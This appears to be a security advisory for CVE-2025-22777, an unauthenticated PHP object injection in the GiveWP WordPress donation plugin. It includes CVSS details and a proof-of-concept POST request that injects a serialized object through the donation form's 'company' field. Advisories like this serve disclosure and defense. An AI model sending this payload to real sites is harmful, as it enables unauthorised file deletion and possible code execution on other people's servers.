CVE-2025-22777

GiveWP – Donation Plugin and Fundraising Platform <= 3.19.3 - Unauthenticated PHP Object Injection

Description

The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.19.3 via deserialization of untrusted input from the donation form through the 'company' parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to delete arbitrary files on the server that makes remote code execution possible. Please note this covers a bypass to the fix for CVE-2024-12877.

Details

• Type: plugin
• Slug: give
• Affected Version: 3.19.3
• CVSS Score: 9.8
• CVSS Rating: Critical
• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2025-22777
• Status: Active

POC

POST /?givewp-route=donate&givewp-route-signature=[SIGNATURE]&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=[EXPIRY] HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

amount=10&currency=USD&gatewayId=manual&formId=90&company=O:20:"PHP_Object_Injection":0:{}&firstName=Test&[email protected]&donationType=single&donationBirthday=